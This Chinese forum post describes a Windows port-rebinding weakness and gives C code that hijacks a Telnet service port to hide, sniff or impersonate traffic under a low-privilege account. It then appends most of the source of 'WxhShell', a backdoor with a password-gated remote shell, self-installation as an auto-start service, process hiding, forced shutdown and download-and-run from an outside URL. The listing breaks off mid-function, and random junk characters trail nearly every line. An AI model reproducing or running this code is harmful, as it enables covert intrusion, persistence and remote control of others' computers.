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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x-4d VKE*z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B7.&yXWgn  
}n'W0 Sa  
  saddr.sin_family = AF_INET; 3a=\$x@  
crSqbL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y4X`(\A  
@e$EwCV,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jR@>~t[}o  
$d,{I8d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s'IB{lJ9  
l m(mY$B*_  
  这意味着什么?意味着可以进行如下的攻击: >$=l;jO`n  
xh!T,|IR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gm0}KU  
A:pD:}fm}D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?.beN[X  
h|lH`m^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kXlI *h  
>Ad`_g6Wew  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,Ik~E&Ku2'  
`@vksjxu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [~`p~@\+  
5l%g3F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g@Y]$ey%A  
N%e^2O)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]&P 4QT)f  
*Ue#Sade  
  #include }9;mtMR$  
  #include bMv[.Z@v(  
  #include \%V !& !'  
  #include    S?OCy4dk:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q]SH'Wd  
  int main() A0v@L6m-O  
  { 2d  YU  
  WORD wVersionRequested; E]^n\bE%  
  DWORD ret; 1Y~'U =9  
  WSADATA wsaData; 4-$kc wA  
  BOOL val; U:[CcN/~3  
  SOCKADDR_IN saddr; 3 +`,'Q9  
  SOCKADDR_IN scaddr; fRkx ^u P  
  int err; ZjrBOb  
  SOCKET s; ej=}OH4  
  SOCKET sc; : Cli8#  
  int caddsize; %Q;:nVt  
  HANDLE mt; ,\d03wha  
  DWORD tid;   eW}-UeT  
  wVersionRequested = MAKEWORD( 2, 2 ); sN5Mm8~  
  err = WSAStartup( wVersionRequested, &wsaData ); lZ <D,&  
  if ( err != 0 ) { ?Jgqb3+!o  
  printf("error!WSAStartup failed!\n"); C 20VSwd  
  return -1; 8E9k7  
  } -@B6$XWL  
  saddr.sin_family = AF_INET; JRAU|gr  
   4E1j0ARQQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9F~5Ht  
ejbtdU8N<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !X-ThKEq  
  saddr.sin_port = htons(23); eiRVw5g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %/hokyx  
  { R$+"'N6p  
  printf("error!socket failed!\n"); 'GO *6$/  
  return -1; ,Z7Ky*<j  
  } Fx)><+-  
  val = TRUE; VD =f 'D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #c'}_s2F[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aQzmobleep  
  { 3x z z* <  
  printf("error!setsockopt failed!\n"); `1y@c"t  
  return -1; w6^TwjjZ$  
  } (Fq]y5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oU*e=uehj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y ._O m}H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -B-HZ_  
C]ax}P>BQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M*~XpT3  
  { #]^M/y h  
  ret=GetLastError(); s5MG#M 9  
  printf("error!bind failed!\n"); 'RNj5r  
  return -1; &lxMVynL  
  } KxfH6:\RB  
  listen(s,2); 9C5F#(uY  
  while(1) ^W^Y"0y9`  
  { ?iHcY,  
  caddsize = sizeof(scaddr); r'XWt]B+[  
  //接受连接请求 T?`Ha\go  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0TiDQ4}i[  
  if(sc!=INVALID_SOCKET) z: )*Aobwv  
  { 4FKgp|Y0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `q1-yH0~4  
  if(mt==NULL) #sbW^Q'I  
  { %L-{4Z!"sI  
  printf("Thread Creat Failed!\n"); fQ_tXY  
  break; -Q ];o~  
  } Vn_>c#B  
  } WM=)K1p0u  
  CloseHandle(mt); OGq=OW  
  } L[Wi[S6=)g  
  closesocket(s); FEBRUk6.h  
  WSACleanup(); tlI]);iE,  
  return 0; *ODc[k'(  
  }   <UGM/+aO  
  DWORD WINAPI ClientThread(LPVOID lpParam) ygUX]*m!  
  { CL t(_!q  
  SOCKET ss = (SOCKET)lpParam; V warU(*  
  SOCKET sc; |t#s h  
  unsigned char buf[4096]; vH E:TQo4  
  SOCKADDR_IN saddr; uD ;T   
  long num; eq9qE^[Z&  
  DWORD val; &iy7It  
  DWORD ret; Kf$6D 79#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \fYPz }wt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X [?E{[@Z  
  saddr.sin_family = AF_INET; zNEN[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t!>0^['g4  
  saddr.sin_port = htons(23); 8Kn}o@Yd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ICTjUQP  
  { /~?[70B}E  
  printf("error!socket failed!\n"); yV&]i-ey  
  return -1; NxFCVqGb  
  } qa6HwlC1  
  val = 100; !yKrA|w1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QP@@h4J^  
  { Ku3NE-)  
  ret = GetLastError(); 7CX5pRNL  
  return -1; a@?ebCE  
  } ma`sv<f4-!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _~*ba+{  
  { 7&V3f=aj6  
  ret = GetLastError(); x3jjtjf  
  return -1; Dd$8{~h"G  
  } azTiY@/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C"k]U[%{  
  { .wtYost v  
  printf("error!socket connect failed!\n"); zT hut!O  
  closesocket(sc); e)F_zX  
  closesocket(ss); KT<N ;[;  
  return -1; ItAC=/(d  
  } w7<4D,hk  
  while(1) GzT?I 7|M  
  { 160BgFM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o+S?j*mv@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F5w=tK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =[gFaB_H  
  num = recv(ss,buf,4096,0); V:gXP1P  
  if(num>0) c&`]O\D-c  
  send(sc,buf,num,0); F-Ku0z]){?  
  else if(num==0) eNm Wul  
  break; KXu1%`x=%Z  
  num = recv(sc,buf,4096,0); XhOg>  
  if(num>0) mt-t8~A  
  send(ss,buf,num,0); =]<X6!0mR  
  else if(num==0) u:^9ZQ+  
  break; W:2]d  
  } O@LUM{\  
  closesocket(ss); RF\h69]:I  
  closesocket(sc); s-l3_210  
  return 0 ; C"h7'+Kw  
  } [-#q'S  
_IvqZ/6Y(  
cZw_^@!  
========================================================== 2d&HSW  
>R\!Qk  
下边附上一个代码,,WXhSHELL 6%&w\<(SG  
8%b-.O:_$  
========================================================== i6^-fl  
o;pJjC]  
#include "stdafx.h" hCj8y.X|E(  
mWVq>~  
#include <stdio.h> )Qo^Mz  
#include <string.h> }9+Vf'u|l  
#include <windows.h> ,Fu[o6x<^  
#include <winsock2.h>  w4UJXc  
#include <winsvc.h> !nF.whq  
#include <urlmon.h> pq]>Ep  
m2F+ 6G  
#pragma comment (lib, "Ws2_32.lib") 2o0WS~}5  
#pragma comment (lib, "urlmon.lib") S Fqq(K2u  
X>MDX.Z  
#define MAX_USER   100 // 最大客户端连接数 70nBC  
#define BUF_SOCK   200 // sock buffer 2j[; M-3  
#define KEY_BUFF   255 // 输入 buffer 2(Nf$?U @0  
;^8X(R  
#define REBOOT     0   // 重启 ,B,0o*qc{K  
#define SHUTDOWN   1   // 关机 BR~+CBH  
asYUb&Hz88  
#define DEF_PORT   5000 // 监听端口 _^F%$K6  
^ pocbmg  
#define REG_LEN     16   // 注册表键长度 (abtCuZ8z  
#define SVC_LEN     80   // NT服务名长度 >i2WYT  
In}~bNv?  
// 从dll定义API ;O({|mpS\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Z3]Dk;y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nTz( {q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZgxpHo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HB}iT1.`  
)79F"ltz h  
// wxhshell配置信息 /,ISx }  
struct WSCFG { N9O}6  
  int ws_port;         // 监听端口 tSunO-\y  
  char ws_passstr[REG_LEN]; // 口令 V:1_k"zQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no :U'Oc3l#Y  
  char ws_regname[REG_LEN]; // 注册表键名 c+UZ UgP  
  char ws_svcname[REG_LEN]; // 服务名 ~fz9PoC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m =MM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -QQU>_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }\EHZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^ }|$_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !7Z?VEZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 stOD5yi  
:j;_Xw  
}; 28 ;x5m)N  
{ b7%Zd3-  
// default Wxhshell configuration D (Q=EdlO  
struct WSCFG wscfg={DEF_PORT, )AAPT7!U  
    "xuhuanlingzhe", 6W N(Tw  
    1, zUJPINDb  
    "Wxhshell", D(">bR)1  
    "Wxhshell", Jrx]/CM  
            "WxhShell Service", ^:o^g'Yab  
    "Wrsky Windows CmdShell Service", DA/ \[w?J  
    "Please Input Your Password: ", Bvz& p)(  
  1, =UZm4=T  
  "http://www.wrsky.com/wxhshell.exe", \Jr7Hy1;  
  "Wxhshell.exe" OJ)XJL  
    }; Cvtz&dH  
C.hRL4+;Zm  
// 消息定义模块 JE[J}-2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X@@7Qk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (.9H1aO46|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jp#/]>(9Z  
char *msg_ws_ext="\n\rExit."; fZ  pUnc  
char *msg_ws_end="\n\rQuit."; B..> *Xb  
char *msg_ws_boot="\n\rReboot..."; zR }vw{  
char *msg_ws_poff="\n\rShutdown..."; @}A3ie'w  
char *msg_ws_down="\n\rSave to "; lFc^y  
@)3orH  
char *msg_ws_err="\n\rErr!"; ~@'DYZb- H  
char *msg_ws_ok="\n\rOK!"; jN sM&s,  
w#RfD  
char ExeFile[MAX_PATH]; gPy}.g{tH$  
int nUser = 0; !F# ^Peb  
HANDLE handles[MAX_USER]; e `IL7$  
int OsIsNt; &=v5M9GR]  
;C+ _KS  
SERVICE_STATUS       serviceStatus; 4 _Idf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Zq7O\  
| <- t  
// 函数声明 biAa&   
int Install(void); w)%/Me3o  
int Uninstall(void); `5t CmU  
int DownloadFile(char *sURL, SOCKET wsh); 3aEO9v,n  
int Boot(int flag); !FbW3p f  
void HideProc(void); lA ZBlO  
int GetOsVer(void); Zs}EGC~&  
int Wxhshell(SOCKET wsl); )|L#i2?:  
void TalkWithClient(void *cs); -! :h]  
int CmdShell(SOCKET sock); m~vEandm  
int StartFromService(void); 78FK{Cr  
int StartWxhshell(LPSTR lpCmdLine); Cg%}=  
w:@W/e*9N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9lSs;zm{Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UJrN+RtL  
`:EU~4s\  
// 数据结构和表定义 IFF3gh42.  
SERVICE_TABLE_ENTRY DispatchTable[] = RJA#cv~f  
{ WlnS.P\+E  
{wscfg.ws_svcname, NTServiceMain}, )W3kBDD  
{NULL, NULL} "l 1z@  
}; C 4hvk'=  
e2M jV8Bs  
// 自我安装 QhmOO-Z?  
int Install(void) Eilo;-El  
{ tcj3x<  
  char svExeFile[MAX_PATH]; ~DUOL ~E  
  HKEY key; `Bv, :i  
  strcpy(svExeFile,ExeFile); ^97\TmzP{  
l=^^l`  
// 如果是win9x系统,修改注册表设为自启动 ]YwvwmZ  
if(!OsIsNt) { D>"!7+t|@a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iLJBiZ+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ox"SQ`nSj'  
  RegCloseKey(key); %1%@L7wP>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]j^rJ|WTH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OJPi*i5*  
  RegCloseKey(key); c:_dW;MJ0  
  return 0; ;F\sMf{  
    } >&uR=Yd  
  } >I;J!{  
} vK8!V7o~h%  
else { ]d50J@W c  
(, 2U?p  
// 如果是NT以上系统,安装为系统服务 _ }:#T8h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e^Glgaf  
if (schSCManager!=0) Ky6 d{|H  
{ t%]b`ad  
  SC_HANDLE schService = CreateService rb<9/z5-  
  ( dZ'H'm;,!  
  schSCManager, c"^g*i2&0  
  wscfg.ws_svcname, xX2/uxi8  
  wscfg.ws_svcdisp, k= oCpXq^  
  SERVICE_ALL_ACCESS, s, ;L6nX"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WEk3 4crk  
  SERVICE_AUTO_START, !yf7y/qY  
  SERVICE_ERROR_NORMAL, ]ag^~8bG @  
  svExeFile, Z^ }4bR]  
  NULL, QF9$SCmv  
  NULL, :A]CD (  
  NULL, @y{ f>nm  
  NULL, wxo{gBq  
  NULL u eV,p?Wo  
  ); 3\&I7o3V  
  if (schService!=0) cg'z:_l  
  { wTPHc:2  
  CloseServiceHandle(schService); F)hUT@  
  CloseServiceHandle(schSCManager); 8Hh= Sp^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1c}LX.9K  
  strcat(svExeFile,wscfg.ws_svcname); 2+qU9[kd|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oq9gG)F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bKP@-<:]  
  RegCloseKey(key); X16r$~Pb  
  return 0; p#tbN5i[{7  
    } 2qfKDZ9f^  
  } v!%VH?cA8  
  CloseServiceHandle(schSCManager); #kPsg9Y  
} @w@ `-1  
} $z'_Hr'  
:, Ad1(  
return 1; L|K^w *\C  
} 9:]|TIPi  
FpFkZFtG'm  
// 自我卸载 .V?>Jhok  
int Uninstall(void) SyCa~M!}>  
{ 95hdQ<W  
  HKEY key; IltU6=]"l  
53)*i\9&  
if(!OsIsNt) { Lo^gg#o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <%EjrjdvL+  
  RegDeleteValue(key,wscfg.ws_regname); C+X- Cp  
  RegCloseKey(key); 6eHw\$/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z)XI A)i6  
  RegDeleteValue(key,wscfg.ws_regname); I<LIw8LI  
  RegCloseKey(key); $%0A#&DVh  
  return 0; <+)B8I^  
  } &U0Y#11Cx  
} 5qQ\H}  
} F@Cxjz  
else { "IKbb7x  
l\1_v7s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &1,{.:@e  
if (schSCManager!=0) WiCJhVF3  
{ Qvhz$W[P>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7F 1nBd  
  if (schService!=0) <Z\j#p:  
  { B*T;DE   
  if(DeleteService(schService)!=0) { XI58Cy*!  
  CloseServiceHandle(schService); =E4~/F}9/T  
  CloseServiceHandle(schSCManager); $SPA'63AC  
  return 0; Kzf^ras4u  
  } ` beU2N  
  CloseServiceHandle(schService); w]=c^@t _  
  } rz]M}!>k  
  CloseServiceHandle(schSCManager); cux<7#6af  
} v.Zr,Z=eV  
} 25/OV"Z  
%8~g#Z  
return 1; T$Rj/u t1  
} K1[(% <Gp  
!S5_+.U#  
// 从指定url下载文件 R\,qL-Br  
int DownloadFile(char *sURL, SOCKET wsh) %6HJM| {H  
{ k9 NPC"  
  HRESULT hr; g RBbL1  
char seps[]= "/"; F=r`'\JV[  
char *token; o1]ZeF  
char *file; 1OW#_4w/  
char myURL[MAX_PATH]; Q<d|OX  
char myFILE[MAX_PATH]; -Gmg&yQ9  
n>i}O!agg  
strcpy(myURL,sURL); #>\%7b59>  
  token=strtok(myURL,seps); #5}v?  
  while(token!=NULL) ZIikDi h1  
  { `CF.-Vl3J#  
    file=token; ;;lOu~-*$p  
  token=strtok(NULL,seps); %hH@< <b(s  
  } $V2.@ X  
h;S?  
GetCurrentDirectory(MAX_PATH,myFILE); \2NT7^H#  
strcat(myFILE, "\\"); N(= \S:  
strcat(myFILE, file); 19 <Lgr  
  send(wsh,myFILE,strlen(myFILE),0); +N:=|u.g  
send(wsh,"...",3,0); dtd}P~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fi;00>y  
  if(hr==S_OK) Tg\wBhJr|  
return 0; %:/?eZ  
else 1@{qPmf^  
return 1; J!@`tR-  
:zLeS-  
} 6R+EG{`  
wTkcR^  
// 系统电源模块 2<33BBlWA  
int Boot(int flag) {}1KI+s9\  
{ qjI.Sr70  
  HANDLE hToken; {axMS yp;  
  TOKEN_PRIVILEGES tkp; G+zIh}9  
FCA]zR1  
  if(OsIsNt) { 2}jC%jR2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xI(Y}>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yo;Mexo!  
    tkp.PrivilegeCount = 1; l~c# X3E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pIP ^/H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N@G~+GCxL  
if(flag==REBOOT) { (7J (.EG2e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G*\U'w4w|*  
  return 0; /j:fc?yv  
} wC~LZSTt  
else { ]0@ 06G(y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6h3TU,$r  
  return 0; fs;pX/:FR  
} 4NxI:d$&*  
  } ePxwN?  
  else { *e}1KcJ  
if(flag==REBOOT) { -G@:uxB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _rjB.  
  return 0; X>kW)c4{b  
} d gRTV<vM  
else { o=ULo &9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I!;vy/r  
  return 0; YqNI:znm-  
} 5BsfbLKC  
} T f;:C]  
3}25=%;[  
return 1; n+%tu"e  
} +#MQ8d  
fZF.eRP '  
// win9x进程隐藏模块 `(Ij@8 4  
void HideProc(void) 7zEpuw  
{ Zq\Vq:MX  
Q3|I.I e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lJ/{.uK  
  if ( hKernel != NULL ) h(MS>=  
  { v7@O ,%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @1^:V-=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E!zAUEVQm[  
    FreeLibrary(hKernel); T,SCK^  
  } }j6<S-s~  
gi5Ffvs$  
return; ?Y | *EH  
} 2E_*'RT  
$3D#U^7i  
// 获取操作系统版本 >C"QV `+  
int GetOsVer(void) SlojB^%  
{ k*Vf2O3${  
  OSVERSIONINFO winfo; "'\f?A9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XX|wle1Kg  
  GetVersionEx(&winfo); F-I\x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pSh$#]mZ`  
  return 1; ti}G/*4  
  else d0CFMy6  
  return 0; }&:F,q*  
} n9N '}z  
%5|DdpES  
// 客户端句柄模块 ygS vYMC  
int Wxhshell(SOCKET wsl) h(Ccm44  
{ v'X=|$75  
  SOCKET wsh; T^XU5qgN  
  struct sockaddr_in client; \B1<fF2  
  DWORD myID; TVEFZ\p<A  
Y~+`F5xX<  
  while(nUser<MAX_USER) !-Br?  
{ j~VHU89  
  int nSize=sizeof(client); `.F+T)G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SdOE^_@:  
  if(wsh==INVALID_SOCKET) return 1; U)y~{E~c34  
[V_?`M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JHIXTy__  
if(handles[nUser]==0) 3PU'd^  
  closesocket(wsh); 4C[n@ p2  
else Th(F^W9  
  nUser++; Eh*t;J=O  
  } Yvbk[Rb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [5O`  
PZsq9;P$  
  return 0; I7/X6^/}  
} /'g"Ys?3  
y.m;4((  
// 关闭 socket UOtrq=y  
void CloseIt(SOCKET wsh) {%Ujp9i  
{ I'%(f@u~  
closesocket(wsh); D"RxI)"HP  
nUser--; Vuu_Sd  
ExitThread(0); 5xF R7%_&  
} 'YUx&F cM  
`.8#q^  
// 客户端请求句柄 k9iXVYQ.;r  
void TalkWithClient(void *cs) baL-~`(T  
{  e+=IGYC  
{pof=G  
  SOCKET wsh=(SOCKET)cs; y$^.HI02jP  
  char pwd[SVC_LEN]; OP}8u"\Z  
  char cmd[KEY_BUFF]; *S$`/X  
char chr[1]; ^vH3 -A;*  
int i,j; ? (f44Zgm  
j*05!j<'  
  while (nUser < MAX_USER) { 8NS1*\z  
v'zj<|2  
if(wscfg.ws_passstr) { `GD>3-   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WCPl}7>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aA/.EAc7  
  //ZeroMemory(pwd,KEY_BUFF); SXI3y  
      i=0; fW'U7&O  
  while(i<SVC_LEN) { 999E0A$dkv  
F6h|AF|"  
  // 设置超时 "t\gkJyK  
  fd_set FdRead; b!ea(D!:  
  struct timeval TimeOut; 6bW:&IPQ;  
  FD_ZERO(&FdRead); :$"L;"  
  FD_SET(wsh,&FdRead); dfoFs&CSKh  
  TimeOut.tv_sec=8; `!$I6KxT  
  TimeOut.tv_usec=0; (`&`vf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xjDV1Xf*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x3>PM]r(V  
1~# 2AdG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o>'1ct  
  pwd=chr[0]; ugI9rxT]Kv  
  if(chr[0]==0xd || chr[0]==0xa) { Xu8_<%  
  pwd=0; h&4f9HhS=  
  break; -n`igC  
  } HRY?[+  
  i++; CL-mt5Kx#7  
    } {,aI0bw;  
C'c9AoE5>  
  // 如果是非法用户,关闭 socket p#V h[UTl^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mtON dI  
} )KLsa`RV:  
%4Thb\T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bqt*d)$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tsA+B&R_]  
VYZkHjj)2i  
while(1) { #+- /0{HT  
Aey*n=V4#F  
  ZeroMemory(cmd,KEY_BUFF); G} &{]w@  
CK+GD "Z$  
      // 自动支持客户端 telnet标准   ! awfxH0  
  j=0; 6SIk,Isy8  
  while(j<KEY_BUFF) { 8C{mV^cn~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =+qtk(p  
  cmd[j]=chr[0]; oVLgHB\zL  
  if(chr[0]==0xa || chr[0]==0xd) { URodvyD  
  cmd[j]=0; t TAql n|  
  break; ! Bv"S0  
  } WD^!G;}  
  j++; >7VO ytc  
    } W5_:Q @  
@L-3&~=  
  // 下载文件 KnC;j-j  
  if(strstr(cmd,"http://")) { /@<Pn&Rq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z3  lZ3  
  if(DownloadFile(cmd,wsh)) v){&g5djl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(h nomn  
  else |nN{XjNfP5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rR4_=S<Mi:  
  } y0d a8sd)  
  else { E2s lpo  
]mN'Qoc  
    switch(cmd[0]) { 5;5DEMe  
  ]i-peBxw  
  // 帮助 Bw31h3yB  
  case '?': { rSUarfZ<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GN4'LU  
    break; G 1 rsd  
  } N;9m&)@JR'  
  // 安装 #-_';Er\  
  case 'i': { ) /kf  
    if(Install()) ' {L5 3cH=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .X;zEyd  
    else 8X@p?43  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S0\;FmLIc  
    break; bm>,$GW(  
    } QQso<.d&  
  // 卸载 v>FsP$p4yE  
  case 'r': { "eq{_4dL  
    if(Uninstall()) @?$x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <6]TazW?S  
    else 3iHUG^sLW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eC^UL5>%  
    break; :Rh?#yO 5  
    } p`jkyi  
  // 显示 wxhshell 所在路径 bqHR~4 #IR  
  case 'p': { 2g elmQnc  
    char svExeFile[MAX_PATH]; FC:Z9{2!  
    strcpy(svExeFile,"\n\r"); |0A"3w  
      strcat(svExeFile,ExeFile); 4LRrrW  
        send(wsh,svExeFile,strlen(svExeFile),0); vps</f!  
    break; v2e*mNK5  
    } S <C'#vj  
  // 重启 p&SxR}h  
  case 'b': { j~(s3pSCo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d%:B,bck  
    if(Boot(REBOOT)) 2NHkK_B1P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M^c`j#NQ  
    else { U{vt9t  
    closesocket(wsh); g]IRv(gDh  
    ExitThread(0); la7VeFT  
    } RKu'WD?sdH  
